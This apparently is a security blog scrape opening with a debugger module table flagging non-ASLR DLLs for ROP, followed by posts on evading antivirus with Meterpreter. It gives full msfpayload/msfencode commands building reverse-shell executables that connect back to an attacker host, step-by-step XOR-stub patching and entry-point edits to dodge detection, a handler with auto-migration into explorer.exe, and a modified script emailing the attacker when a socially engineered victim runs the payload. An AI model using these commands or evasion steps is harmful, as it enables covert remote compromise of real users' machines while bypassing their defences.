0BADF00D      yes   | 0x6C350000 | 0x6C37E000 | 0x0002E000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - shdocvw.dll : C:\Windows\System32\shdocvw.dll
0BADF00D      yes   | 0x758D0000 | 0x758D5000 | 0x00005000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - PSAPI.DLL : C:\Windows\system32\PSAPI.DLL
0BADF00D      yes   | 0x75AC0000 | 0x75ADF000 | 0x0001F000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - IMM32.dll : C:\Windows\system32\IMM32.dll
0BADF00D      yes   | 0x73500000 | 0x7350D000 | 0x0000D000 |   yes   | yes |    NO    |   NO   | 14.0.4750.1000 - MSOXMLMF.DLL : C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL
0BADF00D      yes   | 0x6F670000 | 0x6F67B000 | 0x0000B000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - cscapi.dll : C:\Windows\system32\cscapi.dll
0BADF00D      yes   | 0x73CF0000 | 0x73D30000 | 0x00040000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - UxTheme.dll : C:\Windows\system32\UxTheme.dll
0BADF00D      yes   | 0x71400000 | 0x7141C000 | 0x0001C000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - IPHLPAPI.DLL : C:\Windows\System32\IPHLPAPI.DLL
0BADF00D      yes   | 0x71D40000 | 0x71DF7000 | 0x000B7000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - BatMeter.dll : C:\Windows\system32\BatMeter.dll
0BADF00D      yes   | 0x76F40000 | 0x76F4A000 | 0x0000A000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - LPK.dll : C:\Windows\system32\LPK.dll
0BADF00D      yes   | 0x6E970000 | 0x6E99B000 | 0x0002B000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - PortableDeviceTypes.dll : C:\Windows\system32\PortableDeviceTypes.dll
0BADF00D      NO    | 0x05960000 | 0x05978000 | 0x00018000 |   yes   | NO   |    NO    |   NO   | 1.1.1.19039 - TortoiseOverlays.dll : C:\Program Files\Common Files\TortoiseOverlays\TortoiseOverlays.dll
0BADF00D      yes   | 0x74F50000 | 0x74F5B000 | 0x0000B000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - profapi.dll : C:\Windows\system32\profapi.dll
0BADF00D      yes   | 0x71020000 | 0x71032000 | 0x00012000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - dhcpcsvc.DLL : C:\Windows\system32\dhcpcsvc.DLL
0BADF00D      yes   | 0x043F0000 | 0x04406000 | 0x00016000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - thumbcache.dll : C:\Windows\system32\thumbcache.dll
0BADF00D      yes   | 0x73E70000 | 0x7400E000 | 0x0019E000 |   yes   | yes |    yes   |   yes | 6.10 - comctl32.dll : C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16661_none_420fe3fa2b8113bd\comctl32.dll
0BADF00D      yes   | 0x73E50000 | 0x73E60000 | 0x00010000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - Syncreg.dll : C:\Windows\system32\Syncreg.dll
0BADF00D      yes   | 0x6C0B0000 | 0x6C328000 | 0x00278000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - gameux.dll : C:\Windows\System32\gameux.dll
0BADF00D      yes   | 0x759F0000 | 0x75ABC000 | 0x000CC000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - MSCTF.dll : C:\Windows\system32\MSCTF.dll
0BADF00D      yes   | 0x65D40000 | 0x65EEE000 | 0x001AE000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - pnidui.dll : C:\Windows\System32\pnidui.dll
0BADF00D      yes   | 0x73270000 | 0x73280000 | 0x00010000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - nlaapi.dll : C:\Windows\System32\nlaapi.dll
0BADF00D      yes   | 0x74F40000 | 0x74F4E000 | 0x0000E000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - RpcRtRemote.dll : C:\Windows\system32\RpcRtRemote.dll
0BADF00D      yes   | 0x753C0000 | 0x7540E000 | 0x0004E000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - GDI32.dll : C:\Windows\system32\GDI32.dll
0BADF00D      yes   | 0x74750000 | 0x7475E000 | 0x0000E000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - DEVRTL.dll : C:\Windows\system32\DEVRTL.dll
0BADF00D      yes   | 0x721B0000 | 0x721D5000 | 0x00025000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - cscobj.dll : C:\Windows\System32\cscobj.dll
0BADF00D      yes   | 0x71F40000 | 0x71F8D000 | 0x0004D000 |   yes   | yes |    yes   |   yes | 7.00.7600.16385 - srchadmin.dll : C:\Windows\System32\srchadmin.dll
0BADF00D      yes   | 0x6D7E0000 | 0x6D82F000 | 0x0004F000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - hgcpl.dll : C:\Windows\System32\hgcpl.dll
0BADF00D      yes   | 0x6AF20000 | 0x6B160000 | 0x00240000 |   yes   | yes |    yes   |   yes | 5.0.7600.16385 - msi.dll : C:\Windows\system32\msi.dll
0BADF00D      yes   | 0x75060000 | 0x7517C000 | 0x0011C000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - CRYPT32.dll : C:\Windows\system32\CRYPT32.dll
0BADF00D      yes   | 0x6E6E0000 | 0x6E84F000 | 0x0016F000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - EXPLORERFRAME.dll : C:\Windows\system32\EXPLORERFRAME.dll
0BADF00D      yes   | 0x71CD0000 | 0x71D34000 | 0x00064000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - prnfldr.dll : C:\Windows\system32\prnfldr.dll
0BADF00D      yes   | 0x68BD0000 | 0x6964F000 | 0x00A7F000 |   yes   | yes |    yes   |   yes | 8.00.7600.16385 - ieframe.dll : C:\Windows\System32\ieframe.dll
0BADF00D      yes   | 0x71A30000 | 0x71A3C000 | 0x0000C000 |   yes   | yes |    yes   |   yes | 7.00.7600.16385 - mssprxy.dll : C:\Windows\system32\mssprxy.dll
0BADF00D      yes   | 0x74340000 | 0x7434D000 | 0x0000D000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - WTSAPI32.dll : C:\Windows\system32\WTSAPI32.dll
0BADF00D      yes   | 0x6E240000 | 0x6E2CE000 | 0x0008E000 |   yes   | yes |    yes   |   yes | 9.00.30729.4974 - MSVCP90.dll : C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4974_none_50940634bcb759cb\MSVCP90.dll
0BADF00D      yes   | 0x72480000 | 0x724A2000 | 0x00022000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - EhStorAPI.dll : C:\Windows\system32\EhStorAPI.dll
0BADF00D      yes   | 0x6C380000 | 0x6C3CE000 | 0x0004E000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - actxprxy.dll : C:\Windows\system32\actxprxy.dll
0BADF00D      yes   | 0x723A0000 | 0x723F8000 | 0x00058000 |   yes   | yes |    yes   |   NO   | 6.1.7600.16385 - tiptsf.dll : C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll
0BADF00D      yes   | 0x74570000 | 0x74587000 | 0x00017000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - USERENV.dll : C:\Windows\system32\USERENV.dll
0BADF00D      yes   | 0x749D0000 | 0x749E6000 | 0x00016000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - CRYPTSP.dll : C:\Windows\system32\CRYPTSP.dll
0BADF00D      yes   | 0x6FA40000 | 0x6FA56000 | 0x00016000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - Wlanapi.dll : C:\Windows\system32\Wlanapi.dll
0BADF00D      yes   | 0x6BF40000 | 0x6BF7A000 | 0x0003A000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - FXSAPI.dll : C:\Windows\system32\FXSAPI.dll
0BADF00D      NO    | 0x6EE60000 | 0x6EE8F000 | 0x0002F000 |   yes   | NO   |    NO    |   NO   | 1.3.9 - libaprutil_tsvn.dll : C:\Program Files\TortoiseSVN\bin\libaprutil_tsvn.dll
0BADF00D      yes   | 0x71E00000 | 0x71E08000 | 0x00008000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - npmproxy.dll : C:\Windows\System32\npmproxy.dll
0BADF00D      yes   | 0x73990000 | 0x739BF000 | 0x0002F000 |   yes   | yes |    yes   |   yes | 1.3.1000.0 - XmlLite.dll : C:\Windows\System32\XmlLite.dll
0BADF00D      yes   | 0x74E50000 | 0x74E9B000 | 0x0004B000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - apphelp.dll : C:\Windows\system32\apphelp.dll
0BADF00D      yes   | 0x6C3E0000 | 0x6C44A000 | 0x0006A000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - cscui.dll : C:\Windows\System32\cscui.dll
0BADF00D      yes   | 0x73760000 | 0x73769000 | 0x00009000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - netutils.dll : C:\Windows\system32\netutils.dll
0BADF00D      yes   | 0x71EC0000 | 0x71EE9000 | 0x00029000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - syncui.dll : C:\Windows\system32\syncui.dll
0BADF00D      yes   | 0x66EA0000 | 0x66F13000 | 0x00073000 |   yes   | yes |    yes   |   NO   | 1.0.2498.0 - shellext.dll : c:\PROGRA~1\MIF707~1\shellext.dll
0BADF00D      yes   | 0x73A70000 | 0x73A9F000 | 0x0002F000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - DUser.dll : C:\Windows\system32\DUser.dll
0BADF00D      yes   | 0x75250000 | 0x75256000 | 0x00006000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - NSI.dll : C:\Windows\system32\NSI.dll
0BADF00D      yes   | 0x6BF80000 | 0x6BFAB000 | 0x0002B000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - provsvc.dll : C:\Windows\System32\provsvc.dll
0BADF00D      yes   | 0x76BB0000 | 0x76BF5000 | 0x00045000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - WLDAP32.dll : C:\Windows\system32\WLDAP32.dll
0BADF00D      yes   | 0x6C450000 | 0x6CCB4000 | 0x00864000 |   yes   | yes |    yes   |   NO   | 14.0.4761.1000 - GrooveIntlResource.dll : C:\PROGRA~1\MICROS~3\Office14\1033\GrooveIntlResource.dll
0BADF00D      yes   | 0x751E0000 | 0x7522A000 | 0x0004A000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - KERNELBASE.dll : C:\Windows\system32\KERNELBASE.dll
0BADF00D      yes   | 0x74EB0000 | 0x74F0F000 | 0x0005F000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - SXS.DLL : C:\Windows\system32\SXS.DLL
0BADF00D      yes   | 0x6CCC0000 | 0x6D0CB000 | 0x0040B000 |   yes   | yes |    yes   |   NO   | 14.0.4761.1000 - GROOVEEX.DLL : C:\PROGRA~1\MICROS~3\Office14\GROOVEEX.DLL
0BADF00D      yes   | 0x71FF0000 | 0x72002000 | 0x00012000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - wercplsupport.dll : C:\Windows\System32\wercplsupport.dll
0BADF00D      yes   | 0x70FA0000 | 0x70FA6000 | 0x00006000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - wlanutil.dll : C:\Windows\system32\wlanutil.dll
0BADF00D      yes   | 0x72D90000 | 0x72D9D000 | 0x0000D000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - dhcpcsvc6.DLL : C:\Windows\system32\dhcpcsvc6.DLL
0BADF00D      yes   | 0x6BAD0000 | 0x6BB59000 | 0x00089000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - PortableDeviceApi.dll : C:\Windows\system32\PortableDeviceApi.dll
0BADF00D      yes   | 0x72DD0000 | 0x72F27000 | 0x00157000 |   yes   | yes |    yes   |   yes | 6.30.7600.16385 - msxml6.dll : C:\Windows\System32\msxml6.dll
0BADF00D      yes   | 0x74410000 | 0x74419000 | 0x00009000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - VERSION.dll : C:\Windows\system32\VERSION.dll
0BADF00D      yes   | 0x76F60000 | 0x77000000 | 0x000A0000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - ADVAPI32.dll : C:\Windows\system32\ADVAPI32.dll
0BADF00D      yes   | 0x75B80000 | 0x75D1D000 | 0x0019D000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - SETUPAPI.dll : C:\Windows\system32\SETUPAPI.dll
0BADF00D      yes   | 0x759B0000 | 0x759E5000 | 0x00035000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - WS2_32.dll : C:\Windows\system32\WS2_32.dll
0BADF00D      yes   | 0x73B60000 | 0x73CF0000 | 0x00190000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - gdiplus.dll : C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.16385_none_72fc7cbf861225ca\gdiplus.dll
0BADF00D      yes   | 0x69A80000 | 0x69B30000 | 0x000B0000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - bthprops.cpl : C:\Windows\System32\bthprops.cpl
0BADF00D      NO    | 0x6EEC0000 | 0x6EEE2000 | 0x00022000 |   yes   | NO   |    NO    |   NO   | 1.3.8 - libapr_tsvn.dll : C:\Program Files\TortoiseSVN\bin\libapr_tsvn.dll
0BADF00D      yes   | 0x74DA0000 | 0x74DB9000 | 0x00019000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - srvcli.dll : C:\Windows\system32\srvcli.dll
0BADF00D      yes   | 0x71F90000 | 0x71FBD000 | 0x0002D000 |   yes   | yes |    yes   |   NO   | 3.91.2 - rarext.dll : C:\Program Files\WinRAR\rarext.dll
0BADF00D      yes   | 0x73690000 | 0x736C6000 | 0x00036000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - AUDIOSES.DLL : C:\Windows\system32\AUDIOSES.DLL
0BADF00D      yes   | 0x73AA0000 | 0x73B52000 | 0x000B2000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - DUI70.dll : C:\Windows\system32\DUI70.dll
0BADF00D      yes   | 0x6B550000 | 0x6B6E8000 | 0x00198000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - NetworkExplorer.dll : C:\Windows\system32\NetworkExplorer.dll
0BADF00D      yes   | 0x020A0000 | 0x0216A000 | 0x000CA000 |   yes   | NO   |    NO    |   NO   | 1.6.11.20210 - TortoiseSVN.dll : C:\Program Files\TortoiseSVN\bin\TortoiseSVN.dll
0BADF00D      yes   | 0x734B0000 | 0x734D1000 | 0x00021000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - ntmarta.dll : C:\Windows\system32\ntmarta.dll
0BADF00D      yes   | 0x04320000 | 0x04334000 | 0x00014000 |   NO    | NO   |    NO    |   NO   | 4.65 - 7-zip.dll : C:\Program Files\7-Zip\7-zip.dll
0BADF00D      yes   | 0x75DB0000 | 0x75E5C000 | 0x000AC000 |   yes   | yes |    yes   |   yes | 7.0.7600.16385 - msvcrt.dll : C:\Windows\system32\msvcrt.dll
0BADF00D      yes   | 0x73E60000 | 0x73E66000 | 0x00006000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - IconCodecService.dll : C:\Windows\system32\IconCodecService.dll
0BADF00D      yes   | 0x6AC60000 | 0x6AD1A000 | 0x000BA000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - Actioncenter.dll : C:\Windows\System32\Actioncenter.dll
0BADF00D      yes   | 0x75E60000 | 0x75EFD000 | 0x0009D000 |   yes   | yes |    yes   |   yes | 1.0626.7600.16385 - USP10.dll : C:\Windows\system32\USP10.dll
0BADF00D      yes   | 0x74E10000 | 0x74E18000 | 0x00008000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - Secur32.dll : C:\Windows\system32\Secur32.dll
0BADF00D      yes   | 0x75230000 | 0x75242000 | 0x00012000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - DEVOBJ.dll : C:\Windows\system32\DEVOBJ.dll
0BADF00D      yes   | 0x6E540000 | 0x6E591000 | 0x00051000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - WINSPOOL.DRV : C:\Windows\system32\WINSPOOL.DRV
0BADF00D      yes   | 0x71AA0000 | 0x71AE8000 | 0x00048000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - wwanapi.dll : C:\Windows\system32\wwanapi.dll
0BADF00D      yes   | 0x6AD20000 | 0x6AE3A000 | 0x0011A000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - wscui.cpl : C:\Windows\System32\wscui.cpl
0BADF00D      yes   | 0x74770000 | 0x747AB000 | 0x0003B000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - rsaenh.dll : C:\Windows\system32\rsaenh.dll
0BADF00D      yes   | 0x72510000 | 0x72775000 | 0x00265000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - netshell.dll : C:\Windows\System32\netshell.dll
0BADF00D      yes   | 0x73700000 | 0x7370E000 | 0x0000E000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - AltTab.dll : C:\Windows\System32\AltTab.dll
0BADF00D      yes   | 0x75700000 | 0x7578F000 | 0x0008F000 |   yes   | yes |    yes   |   yes | 6.1.7600.16567 - OLEAUT32.dll : C:\Windows\system32\OLEAUT32.dll
0BADF00D      yes   | 0x042D0000 | 0x042E7000 | 0x00017000 |   NO    | NO   |    NO    |   NO   | 0.1 - NppShell_01.dll : C:\Program Files\Notepad++\NppShell_01.dll
0BADF00D      yes   | 0x75570000 | 0x75611000 | 0x000A1000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - RPCRT4.dll : C:\Windows\system32\RPCRT4.dll
0BADF00D      yes   | 0x72FC0000 | 0x72FD4000 | 0x00014000 |   yes   | yes |    yes   |   yes | 3.05.2284 - ATL.DLL : C:\Windows\system32\ATL.DLL
0BADF00D      yes   | 0x73750000 | 0x7375F000 | 0x0000F000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - wkscli.dll : C:\Windows\system32\wkscli.dll
0BADF00D      yes   | 0x6E2F0000 | 0x6E34A000 | 0x0005A000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - netprofm.dll : C:\Windows\System32\netprofm.dll
0BADF00D      yes   | 0x73530000 | 0x73568000 | 0x00038000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - SndVolSSO.DLL : C:\Windows\system32\SndVolSSO.DLL
0BADF00D      yes   | 0x72380000 | 0x72397000 | 0x00017000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - QUtil.dll : C:\Windows\System32\QUtil.dll
0BADF00D      yes   | 0x74110000 | 0x742C7000 | 0x001B7000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - authui.dll : C:\Windows\system32\authui.dll
0BADF00D      yes   | 0x73E30000 | 0x73E42000 | 0x00012000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - SAMLIB.dll : C:\Windows\system32\SAMLIB.dll
0BADF00D      yes   | 0x6AE40000 | 0x6AEAF000 | 0x0006F000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - ntshrui.dll : C:\Windows\system32\ntshrui.dll
0BADF00D      yes   | 0x76F50000 | 0x76F53000 | 0x00003000 |   yes   | yes |    yes   |   yes | 6.1.7600.16385 - Normaliz.dll : C:\Windows\system32\Normaliz.dll
0BADF00D   ----------------------------------------------------------------------------------------------------------------------------------

Interesting also, i didn't see it before, tortoise svn extensions, 7zip and notepad++ are with no aslr enabled, rop anyone ? :)

meterpreter xor for further av bypass

2011-01-15T11:54:00.000+02:00

Still on holidays here, and in between sake, beer and shochu i found some time to read and check some things that i wanted to do for some time now. One of that was how to implement a simple binary xor in an .exe file especially for meterpreter. Meterpreter is great tool but is being detected from antivirus engines and that makes it difficult to use it as a standard payload.

Simple way to create one meterpreter binary that will connect back on ip 192.168.11.7:

C:\framework\msf3>ruby msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.11.7 R | ruby msfencode -t exe -o meter_rever_tcp_192.exe -e x86/shikata_ga_nai
-c 2
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)

C:\framework\msf3>

Virustotal result on the binary:

Result:

15/ 37 (40.5%) HASH 0f5298c9572ed0db233b2632aa6068a7

With the following av engines detecting the binary:

Antivirus   Version   Last Update   Result
AhnLab-V3   2011.01.15.00   2011.01.14   Trojan/Win32.Shell
AntiVir       7.11.1.144   2011.01.14   TR/Crypt.EPACK.Gen2
BitDefender   7.2       2011.01.15   Backdoor.Shell.AC
Command       5.2.11.5   2011.01.14   W32/Swrort.A.gen!Eldorado
eTrust-Vet   36.1.8100   2011.01.14   Win32/Swrort.A!generic
F-Prot       4.6.2.117   2011.01.14   W32/Swrort.A.gen!Eldorado   -
GData       21       2011.01.15   Backdoor.Shell.AC
K7AntiVirus   9.75.3548   2011.01.14   Riskware
Microsoft   1.6402       2011.01.14   Trojan:Win32/Swrort.A
NOD32       5788       2011.01.14   a variant of Win32/Rozena.AA
nProtect   2011-01-14.01   2011.01.14   Backdoor.Shell.AC
Panda       10.0.2.7   2011.01.14   Suspicious file
Sophos       4.61.0   2011.01.14   Mal/Swrort-C
SUPERAntiSpyware   4.40.0.1006   2011.01.15   Trojan.Backdoor-PoisonIvy
VirusBuster       13.6.147.0   2011.01.14   Trojan.Rosena.Gen.1

Manual packing of the binary can be done with many ways, the simplest way should be to XOR the data of the binary file. The process is easy you just have to do it once and see it working, from there someone can change the xor function to different more complicated methods in order to achieve better results.

Two tools will be used for the process, one is ollydbg ( http://www.ollydbg.de/ ) and the other lordpe ( http://www.woodmann.com/collaborative/tools/index.php/LordPE ).

Starting the process, we fire up ollydbg and load our binary file,

Some things to observe here, the OEP, original entry point of the executable module, is at 00406D42. Also checking near the end of the file we are looking to find a place for the new instructions. We are actually looking for a series of DB 00, at least 10 lines will do the work, if you don't have the space you can always add it using a hex editor.

For the binary file that I' m using a place around 0040BF60 seems nice to place the extra code. The instructions will be,

mov ecx, "address of our code" - "original entry point"
mov eax, "original entry point"
xor byte [eax], 0A <- here the 0A acts as an encryption key and can be anything that you like
inc eax
dec ecx
jnz "our xor address"
push "original entry point"
retn

For the binary file that i'm working with instructions are exactly like this:

mov ecx, 521E
mov eax, 00406D42
xor byte [eax], 0A
inc eax
dec ecx
jnz 0040bf6a
push 00406D42
retn

In order to save the modifications, right click, select copy to executable, all modifications

And again choose copy all in the next dialog box. Finally right click in the new window and choose save file.

Input a new filename and we are done for the moment with ollydbg. The next step is to instruct our file to execute our code before anything else. In order to achieve this we need to change the OEP ( original entry point ) to the first address of our instruction set ( for my file the address is 0040BF60).

LordPE will help us to make this change. All we actually need to do is to calculate the new OEP based on the Image Base and the new entry point. Loading LordPE we choose Pe Editor and we select our new created file.

Originally we have the entry point at 6D42 with our Base Image at 40000, ( OEP loading the file at ollydbg was at 00406D42 )

We need the OEP to be placed at 0040BF60, so new entry point - base image ( 0040BF60 - 0040000 = BF60 )

After changing the EntryPoint we click Save, Ok and we close LordPE.

Back at ollydbg we load the new file, and we can see that the program now is starting at our first instruction.

We need to place now a breakpoint at retn instruction,

By doing that we are telling the debugger that when the program is going to be executed, the execution will stop at the retn function. We are doing this because all we need is for our xor function to start from the top of the actual code until the start of our code and xor every bit of data with the selected key, we don't want to run the program actually. After placing the breakpoint we hit run (or press F9) once

If we take a look at the code above we will see now that it's changed. Now we need to select the modified code and save it as a new file. So selection will start from our new OEP (0040BF60), until the first original OEP (00406D42) of the file.

Right click, select copy to executable, selection and again right click on the new window and save file with a new name.

Finally we have our new XORed file.

Using this simple technique only 2 antivirus engines were bypassed and no longer are detecting meterpreter as virus, the av engines that no longer recognize the binary file are VirusBuster and eTrust-Vet.

More results will follow with different methods of binary encryption/packing. A final for this test, the ollydbg may log an access violation during the XOR process, this is due to the fact that many times .text section of the PE file is market as executable and readable only. We need to change the flags on the section to writable as well. To achieve that loading the file in LordPE, from PE editor, sections, right click on the .text section, flags ... make sure the writable option is set.

Metasploit migrate and e-mail.

2010-10-06T14:28:00.000+03:00

Not all hacks happen instantly sometimes you have to wait. The problem is that you might have to wait for days especially when social engineering is taking part in the process.

Even if all things goes well and the attack succeed the payload is a meterpreter connect back shell that will take me to the magic world of new and exciting data. Some problems here, the binary in order to go undetected is encoded using a custom template ( a custom small application that will show a popup ) and this is problem A. This application will just run for some seconds and then it will close, closing meterpreter on the way and my connection. Another problem is that i don't know when the connection is going to take place, it might take place in a few days or even in a couple of weeks that will be problem B.

Problem A is solved easy using a migrate script to migrate into another process and preferably, explorer.exe will be of my taste. So the story on the metasploit console goes like this

./msfpayload windows/meterpreter/reverse_https LHOST=my_dynamic_dns_host LPORT=443 R |./msfencode -k -x ./popup.exe -c 3 -e x86/shikata_ga_nai -t exe -o popup_out.exe

will create a roughly undetected binary with meterpreter inside.

On meterpreter console now running under screen,
./msfconsole

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set ExitOnSession false
set LHOST my_dynamic_dns_host
set LPORT 443
set AutoRunScript migrate explorer.exe
exploit -j

This will take care of problem A.

Moving on to problem B now.

By default metasploit doesn't provide us any method to inform the attacker for the process of the attack, if he is not looking at the console screen directly. To overcome this i made a small modification to the migrate.rb script located at scripts/ directory on the metasploit root directory. This small modification does the following, when the attack succeeds and migration is complete a mail will be send to a specific address to inform about the success.

meterpreter > run migrate notepad.exe
[*] Current server process: Explorer.EXE (3156)
[*] Migrating to notepad.exe...
[*] Migrating into process ID 5064
[*] New server process: notepad.exe (5064)
[*] Emailing myself@myhost

The modified migrate.rb can be found here : http://www.deventum.com/research/migrate.rb , if you use it don't forget to change the e-mail address :)